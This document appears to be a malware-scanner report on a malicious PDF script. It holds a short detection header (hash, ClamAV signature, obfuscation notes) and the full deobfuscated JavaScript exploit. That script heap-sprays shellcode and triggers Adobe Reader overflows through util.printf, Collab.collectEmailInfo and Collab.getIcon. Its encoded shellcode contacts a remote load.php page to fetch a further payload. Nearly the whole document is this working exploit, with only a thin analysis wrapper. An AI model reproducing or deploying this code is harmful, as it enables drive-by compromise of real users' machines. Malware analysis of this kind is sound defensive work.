%25%32%36%20%2B%"+"20%28%63%20%26%20%61%70%38%6D%29%20%2B%2"+"0%44%63%51%74%50%58%52%73%38%29%3B%22%3B"+""
numeric_charcode_stage_000.js deobfuscated-js numeric char-code string decoded JavaScript at offset 0x8B7 8164 bytes
SHA-256: 59e25695182e14cb6d4507b062aedc25881ddeccf74dc4a58413e81ae74d010c
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var arry = new Array();
function fix_it(yarsp, len)
{ 
while (yarsp.length*2<len){yarsp += yarsp;} 
yarsp = yarsp.substring(0,len/2);
return yarsp; 
}
var version = app.viewerVersion;
if (version > 8) 
{
var payload = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u772F%u7777%u732E%u6F65%u6D2E%u6C6B%u326D%u6572%u6C66%u326E%u336C%u6566%u7776%u6B6C%u6C76%u632E%u6D6F%u2F2F%u6F6C%u6461%u702E%u7068%u693F%u3D64%u0033");
nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
heapblock = nop + payload;
bigblock = unescape("%u0A0A%u0A0A");
headersize = 20;
spray = headersize+heapblock.length;
while (bigblock.length<spray) bigblock+=bigblock;
fillblock = bigblock.substring(0, spray);
block = bigblock.substring(0, bigblock.length-spray);
while(block.length+spray < 0x40000) block = block+block+fillblock;
mem = new Array();
 for (i=0;i<1400;i++) mem[i] = block + heapblock;
var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f",num);
}

if (version < 8)
{
var addkk = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u772F%u7777%u732E%u6F65%u6D2E%u6C6B%u326D%u6572%u6C66%u326E%u336C%u6566%u7776%u6B6C%u6C76%u632E%u6D6F%u2F2F%u6F6C%u6461%u702E%u7068%u693F%u3D64%u0032");
var mem_array = new Array();
var cc = 0x0c0c0c0c;
var addr = 0x400000;
var sc_len = addkk.length * 2;
var len = addr - (sc_len+0x38);
var yarsp = unescape("%u9090%u9090");
yarsp = fix_it(yarsp, len);
var count2 = (cc - 0x400000)/addr;
for (var count=0;count<count2;count++)
{
 mem_array[count] = yarsp + addkk;
}
var overflow = unescape("%u0c0c%u0c0c");
while(overflow.length < 44952) overflow += overflow;
this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow});
}

if (version < 9.1)
{
if (app.doc.Collab.getIcon){
 var vvpethya =unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u772F%u7777%u732E%u6F65%u6D2E%u6C6B%u326D%u6572%u6C66%u326E%u336C%u6566%u7776%u6B6C%u6C76%u632E%u6D6F%u2F2F%u6F6C%u6461%u702E%u7068%u693F%u3D64%u0034");
 var hWq500CN = vvpethya.length * 2;
 var len = 0x400000 - (hWq500CN + 0x38);
 var yarsp = unescape("%u9090%u9090");
 yarsp = fix_it(yarsp, len);
 var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
 for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){
 arry[vqcQD96y] = yarsp + vvpethya;}
 var tUMhNbGw = unescape("%09");
 while (tUMhNbGw.length < 0x4000)tUMhNbGw += tUMhNbGw;
 tUMhNbGw = "N." + tUMhNbGw;
 app.doc.Collab.getIcon(tUMhNbGw);
}
}